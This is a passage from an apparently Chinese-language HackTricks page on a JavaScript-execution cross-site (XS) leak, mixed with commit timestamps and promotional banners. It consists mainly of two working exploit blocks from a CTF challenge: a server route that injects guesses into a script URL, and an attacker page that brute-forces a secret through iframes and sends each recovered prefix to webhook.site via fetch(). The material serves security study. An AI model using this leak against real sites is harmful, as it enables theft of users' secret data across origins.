2023-08-03 19:12:22 +00:00
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# JavaScript执行XS泄漏
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2023-01-22 23:19:55 +00:00
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<details>
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2023-08-03 19:12:22 +00:00
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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2023-01-22 23:19:55 +00:00
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2023-08-03 19:12:22 +00:00
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* 你在一家**网络安全公司**工作吗？你想在HackTricks中看到你的**公司广告**吗？或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
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* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
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* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
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* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
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* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
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2023-01-22 23:19:55 +00:00
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</details>
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```javascript
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// Code that will try ${guess} as flag (need rest of the server code
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app.get('/guessing', function(req, res) {
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let guess = req.query.guess
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let page = `<html>
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<head>
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<script>
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function foo() {
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// If not the flag this will be executed
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window.parent.foo()
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}
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</script>
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<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
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</head>
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<p>hello2</p>
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</html>`
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res.send(page)
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});
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```
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2023-08-03 19:12:22 +00:00
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主页会生成iframe到之前的`/guessing`页面，以测试每种可能性。
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```html
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<html>
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<head>
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<script>
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let candidateIsGood = false;
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let candidate = ''
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let flag = 'bi0sctf{'
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let guessIndex = -1
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let flagChars = '_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ'
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// this will get called from our iframe IF the candidate is WRONG
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function foo() {
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candidateIsGood = false
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}
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timerId = setInterval(() => {
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if (candidateIsGood) {
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flag = candidate
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guessIndex = -1
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fetch('https://webhook.site/<yours-goes-here>?flag='+flag)
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}
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//Start with true and will be change to false if wrong
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candidateIsGood = true
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guessIndex++
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if (guessIndex >= flagChars.length) {
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fetch('https://webhook.site/<yours-goes-here>')
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return
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}
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let guess = flagChars[guessIndex]
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candidate = flag + guess
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let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(candidate)}"></iframe>`
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console.log('iframe: ', iframe)
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hack.innerHTML = iframe
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}
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, 500);
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</script>
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2023-01-22 23:19:55 +00:00
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</head>
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<p>hello</p>
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<div id="hack">
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</div>
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</html>
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```
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<details>
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2023-08-03 19:12:22 +00:00
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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2023-01-22 23:19:55 +00:00
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2023-08-03 19:12:22 +00:00
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* 你在一家**网络安全公司**工作吗？想要在 HackTricks 中**宣传你的公司**吗？或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
|
|
|
|
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
|
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
|
|
|
|
|
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass)，或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
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|
|
|
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* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
2023-01-22 23:19:55 +00:00
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</details>
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